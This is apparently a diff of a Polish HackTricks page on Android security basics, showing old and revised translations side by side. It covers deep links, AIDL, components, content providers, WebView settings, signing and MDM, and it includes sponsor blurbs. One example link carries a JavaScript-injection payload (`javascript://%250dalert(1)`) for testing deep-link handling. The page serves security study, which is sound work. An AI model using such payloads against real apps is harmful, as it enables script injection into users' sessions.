Zostały one oznaczone jako przestarzałe w poziomie API 21 i zaleca się **nie korzystanie z nich**.\
|
||||
**Pozwalają one dowolnej aplikacji na podsłuchanie danych, ale także na ich modyfikację**.
|
||||
|
||||
Jeśli znajdziesz funkcje zawierające słowo "sticky", takie jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź ich wpływ i spróbuj je usunąć**.
|
||||
Jeśli znajdziesz funkcje zawierające słowo "trwałe" jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź wpływ i spróbuj je usunąć**.
|
||||
|
||||
## Głębokie linki / Schematy URL
|
||||
|
||||
W aplikacjach Android, **głębokie linki** są używane do inicjowania działania (Intencji) bezpośrednio za pomocą adresu URL. Dokonuje się tego poprzez zadeklarowanie określonego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w ramach aplikacji.
|
||||
W aplikacjach Androida, **głębokie linki** są używane do zainicjowania działania (Intencji) bezpośrednio za pomocą adresu URL. Jest to realizowane poprzez zadeklarowanie określonego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w ramach aplikacji.
|
||||
|
||||
Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -200,7 +210,7 @@ Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Schemat z poprzedniego przykładu to `exampleapp://` (zwróć uwagę również na **`kategorie BROWSABLE`**)
|
||||
Schemat z poprzedniego przykładu to `exampleapp://` (zauważ również **`kategoria BROWSABLE`**)
|
||||
|
||||
Następnie, w polu danych, możesz określić **host** i **ścieżkę**:
|
||||
```xml
|
||||
|
@ -208,26 +218,26 @@ Następnie, w polu danych, możesz określić **host** i **ścieżkę**:
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Aby uzyskać do niego dostęp z przeglądarki internetowej, można ustawić link w ten sposób:
|
||||
Aby uzyskać do niego dostęp z sieci, można ustawić link w ten sposób:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do aktywności wywołanej przez deep link i wyszukaj funkcję **`onNewIntent`**.
|
||||
Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do aktywności wywołanej przez link głęboki i wyszukaj funkcję **`onNewIntent`**.
|
||||
|
||||
Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](./#wykorzystywanie-schematów-deep-linków).
|
||||
Dowiedz się, jak [wywoływać linki głębokie bez użycia stron HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android za pomocą **komunikacji międzyprocesowej** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza ten proces, serializując obiekty do formatu zrozumiałego dla systemu operacyjnego, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android za pomocą **komunikacji międzyprocesowej** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza proces poprzez serializację obiektów do formatu zrozumiałego dla systemu operacyjnego, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Bound Services**: Usługi te wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie się z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, dlatego stanowi ważne miejsce do przeglądu pod kątem podatności na zagrożenia.
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie się z usługą, składanie żądań i odbieranie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa w poszukiwaniu podatności.
|
||||
|
||||
- **Messenger**: Działając jako powiązana usługa, Messenger ułatwia IPC, skupiając się na przetwarzaniu danych za pomocą metody `onBind`. Ważne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji zawierających poufne informacje.
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych za pomocą metody `onBind`. Istotne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji wymagających ochrony.
|
||||
|
||||
- **Binder**: Chociaż bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra, ułatwiając transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest materiał na stronie [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Chociaż bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest zasób pod adresem [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponenty
|
||||
|
||||
|
@ -235,9 +245,9 @@ Obejmują one: **Aktywności, Usługi, Odbiorniki nadawcze i Dostawcy.**
|
|||
|
||||
### Aktywność uruchamiająca i inne aktywności
|
||||
|
||||
W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne części interfejsu użytkownika aplikacji. Aplikacja może mieć wiele aktywności, z których każda prezentuje unikalny ekran użytkownikowi.
|
||||
W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne części interfejsu użytkownika aplikacji. Aplikacja może mieć wiele aktywności, z których każda prezentuje użytkownikowi unikalny ekran.
|
||||
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym po naciśnięciu ikony aplikacji. Jest ona zdefiniowana w pliku manifestu aplikacji za pomocą konkretnych intencji MAIN i LAUNCHER:
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym po naciśnięciu ikony aplikacji. Jest zdefiniowana w pliku manifestu aplikacji za pomocą konkretnych intencji MAIN i LAUNCHER:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -246,19 +256,19 @@ W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne czę
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Nie wszystkie aplikacje potrzebują aktywności uruchamiającej, zwłaszcza te bez interfejsu użytkownika, takie jak usługi w tle.
|
||||
Nie wszystkie aplikacje potrzebują aktywności uruchomieniowej, zwłaszcza te bez interfejsu użytkownika, takie jak usługi w tle.
|
||||
|
||||
Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznaczenie ich jako "eksportowane" w pliku manifestu. Ta opcja umożliwia innym aplikacjom uruchamianie tej aktywności:
|
||||
Aby udostępnić aktywności innym aplikacjom lub procesom, można je oznaczyć jako "eksportowane" w manifeście. Ta opcja pozwala innym aplikacjom uruchamiać tę aktywność:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko dla bezpieczeństwa. Obawy pojawiają się, jeśli poufne dane są udostępniane nieprawidłowo, co może prowadzić do wycieku informacji.
|
||||
Jednakże dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko dla bezpieczeństwa. Obawy pojawiają się, gdy wrażliwe dane są udostępniane nieprawidłowo, co może prowadzić do wycieku informacji.
|
||||
|
||||
Cykl życia aktywności **rozpoczyna się od metody onCreate**, która ustawia interfejs użytkownika i przygotowuje aktywność do interakcji z użytkownikiem.
|
||||
|
||||
### Podklasa aplikacji
|
||||
|
||||
W przypadku tworzenia aplikacji na Androida, istnieje opcja utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), choć nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która zostaje zainicjowana w ramach aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Taka konfiguracja umożliwia wczesną inicjalizację przed rozpoczęciem reszty aplikacji.
|
||||
W rozwoju aplikacji na Androida, aplikacja ma opcję utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą do zainicjowania w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Taka konfiguracja pozwala na wczesną inicjalizację przed uruchomieniem reszty aplikacji.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -276,33 +286,33 @@ super.onCreate();
|
|||
```
|
||||
### Usługi
|
||||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą działać nawet wtedy, gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi niezbędnymi do **długotrwałych operacji**.
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, zdolne do wykonywania zadań bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi kluczowymi dla **długotrwałych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy czym **Intenty** są główną metodą uruchamiania ich jako punktu wejścia aplikacji. Po uruchomieniu usługi za pomocą metody `startService`, jej metoda `onStart` rozpoczyna działanie i działa aż do wywołania jawnego metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, co angażuje metodę `onBind` do przekazywania danych.
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy użyciu **Intents** jako głównego sposobu uruchamiania ich jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody `startService`, jej metoda `onStart` rozpoczyna działanie i działa do momentu wywołania metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, wywołując metodę `onBind` do przekazywania danych.
|
||||
|
||||
Interesującym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez utrudniania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to zachowanie domyślne i wymaga jawnie skonfigurowania w pliku Android Manifest:
|
||||
Interesujące zastosowanie usług obejmuje odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępnione innym procesom na tym samym urządzeniu poprzez **eksportowanie**. To nie jest zachowanie domyślne i wymaga jawnego skonfigurowania w pliku Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Odbiorniki transmisji
|
||||
### Odbiorniki nadawcze
|
||||
|
||||
**Odbiorniki transmisji** działają jako słuchacze w systemie wiadomości, pozwalając wielu aplikacjom reagować na te same wiadomości od systemu. Aplikacja może **zarejestrować odbiornik** na **dwa główne sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą interfejsu API **`registerReceiver`**. W przypadku Manifestu, transmisje są filtrowane z uprawnieniami, podczas gdy odbiorniki zarejestrowane dynamicznie mogą również określić uprawnienia podczas rejestracji.
|
||||
**Odbiorniki nadawcze** działają jako słuchacze w systemie komunikacyjnym, pozwalając wielu aplikacjom reagować na te same wiadomości z systemu. Aplikacja może **zarejestrować odbiornik** na **dwa podstawowe sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą interfejsu API **`registerReceiver`**. W przypadku Manifestu, nadawane są filtrowane z uprawnieniami, podczas gdy dynamicznie zarejestrowane odbiorniki mogą również określić uprawnienia podczas rejestracji.
|
||||
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które transmisje wywołują odbiornik. Po wysłaniu pasującej transmisji, wywoływana jest metoda **`onReceive`** odbiornika, umożliwiając aplikacji reakcję w odpowiedni sposób, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które nadawane wiadomości wyzwalają odbiornik. Po wysłaniu pasującej wiadomości nadawczej, metoda **`onReceive`** odbiornika jest wywoływana, umożliwiając aplikacji reakcję, taką jak dostosowanie zachowania w odpowiedzi na alert o niskim stanie baterii.
|
||||
|
||||
Transmisje mogą być **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, lub **synchroniczne**, gdzie odbiorniki otrzymują transmisję na podstawie ustawionych priorytetów. Ważne jest jednak zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet w celu przechwycenia transmisji.
|
||||
Nadawane wiadomości mogą być albo **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, albo **synchroniczne**, gdzie odbiorniki otrzymują wiadomość na podstawie ustawionych priorytetów. Jednak ważne jest zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet, aby przechwycić nadawanie.
|
||||
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną intencją, co podkreśla konieczność walidacji danych przez odbiorniki, zwłaszcza w przypadku **uporządkowanych transmisji**, które mogą modyfikować lub odrzucać intencję.
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną intencją, podkreślając potrzebę walidacji danych przez odbiorniki, zwłaszcza w przypadku **Nadawanych Wiadomości w Kolejności**, które mogą modyfikować lub odrzucać intencję.
|
||||
|
||||
### Dostawca treści
|
||||
|
||||
**Dostawcy treści** są niezbędni do **udostępniania strukturalnych danych** między aplikacjami, co podkreśla znaczenie implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić za pomocą ustawień **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
**Dostawcy treści** są niezbędni do **udostępniania strukturyzowanych danych** między aplikacjami, podkreślając znaczenie implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić poprzez ustawienia **`grantUriPermission`** w manifestacji aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
|
||||
Walidacja danych wejściowych jest niezwykle ważna w celu zapobiegania podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiające manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
Walidacja danych jest kluczowa dla zapobiegania podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
|
||||
**FileProvider**, specjalizowany dostawca treści, skupia się na bezpiecznym udostępnianiu plików. Jest on zdefiniowany w manifeście aplikacji za pomocą określonych atrybutów do kontrolowania dostępu do folderów, oznaczonych przez `android:exported` i `android:resource`, wskazujących na konfiguracje folderów. Należy zachować ostrożność podczas udostępniania katalogów, aby uniknąć nieumyślnego ujawnienia poufnych danych.
|
||||
**FileProvider**, specjalizowany dostawca treści, skupia się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifestacji aplikacji z określonymi atrybutami do kontroli dostępu do folderów, oznaczonych przez `android:exported` i `android:resource` wskazujące na konfiguracje folderów. Zaleca się ostrożność podczas udostępniania katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
|
||||
Przykładowe zadeklarowanie FileProvidera w manifeście:
|
||||
Przykładowe zadeklarowanie w manifestacji dla FileProvider:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -312,49 +322,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
I przykład określenia udostępnionych folderów w `filepaths.xml`:
|
||||
I przykład określenia współdzielonych folderów w `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Aby uzyskać dalsze informacje, sprawdź:
|
||||
- [Android Developers: Dostawcy treści](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
Dla dalszych informacji sprawdź:
|
||||
- [Deweloperzy Androida: Dostawcy treści](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Deweloperzy Androida: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treść zarówno z sieci, jak i z lokalnych plików. Stoją przed podobnymi zagrożeniami jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez odpowiednie **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji na Androida, pobierające treści z sieci lub z plików lokalnych. Stoją wobec podobnych zagrożeń jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
- **WebViewClient** jest idealny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na testowanie ataków XSS.
|
||||
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na sposób testowania ataków XSS.
|
||||
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
|
||||
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą się plikami cookie** z główną przeglądarką urządzenia.
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą plików cookie** z główną przeglądarką urządzenia.
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia związane z bezpieczeństwem można zarządzać za pomocą klasy ````WebSettings````. Na przykład, wyłączenie JavaScript za pomocą ````setJavaScriptEnabled(false)```` może zapobiec atakom XSS.
|
||||
Do ładowania treści dostępne są metody takie jak ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia zabezpieczeń można zarządzać za pomocą klasy ````WebSettings````. Na przykład, wyłączenie JavaScript za pomocą ````setJavaScriptEnabled(false)```` może zapobiec atakom XSS.
|
||||
|
||||
JavaScript "Bridge" umożliwia interakcję obiektów Java z JavaScript, wymagając, aby metody były oznaczone jako ````@JavascriptInterface```` dla bezpieczeństwa od wersji Android 4.2 wzwyż.
|
||||
Most JavaScript "Bridge" pozwala obiektom Javy współdziałać z JavaScript, wymagając oznaczenia metod za pomocą ````@JavascriptInterface```` dla bezpieczeństwa od wersji Androida 4.2 wzwyż.
|
||||
|
||||
Zezwalanie na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do dostawców treści, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
Zezwalając na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do Dostawców Treści, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
|
||||
Aby kontrolować dostęp do plików:
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla określonych zasobów, zapewniając, że są one używane tylko do treści niewrażliwych.
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla określonych zasobów, zapewniając, że są one używane tylko do treści niewrażliwej.
|
||||
|
||||
## Inne składniki aplikacji i zarządzanie urządzeniami mobilnymi
|
||||
## Inne Składniki Aplikacji i Zarządzanie Urządzeniami Mobilnymi
|
||||
|
||||
### **Cyfrowe podpisywanie aplikacji**
|
||||
### **Cyfrowe Podpisywanie Aplikacji**
|
||||
|
||||
- **Cyfrowe podpisywanie** jest niezbędne dla aplikacji Android, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **podpisane przez siebie same lub certyfikowane przez zewnętrznego CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
- **Podpisywanie cyfrowe** jest konieczne dla aplikacji na Androida, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **samopodpisywane lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
|
||||
### **Weryfikacja aplikacji dla zwiększonego bezpieczeństwa**
|
||||
### **Weryfikacja Aplikacji dla Zwiększonego Bezpieczeństwa**
|
||||
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj aplikacje** pozwala użytkownikom sprawdzić bezpieczeństwo aplikacji przed ich instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet uniemożliwiać instalację szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj Aplikacje** pozwala użytkownikom sprawdzić aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzec użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet zapobiec instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
|
||||
### **Zarządzanie urządzeniami mobilnymi (MDM)**
|
||||
### **Zarządzanie Urządzeniami Mobilnymi (MDM)**
|
||||
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych za pomocą **interfejsu API administracji urządzeniem**. Wymagają one instalacji aplikacji Android do skutecznego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk dotyczących haseł**, **wymuszanie szyfrowania pamięci** i **zezwolenie na zdalne kasowanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo urządzeń mobilnych.
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych poprzez **API Administracji Urządzeń**. Wymagają one instalacji aplikacji na Androida do efektywnego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk hasła**, **obowiązkowe szyfrowanie pamięci**, i **zezwolenie na zdalne wymazywanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -365,27 +375,16 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,27 +4,19 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
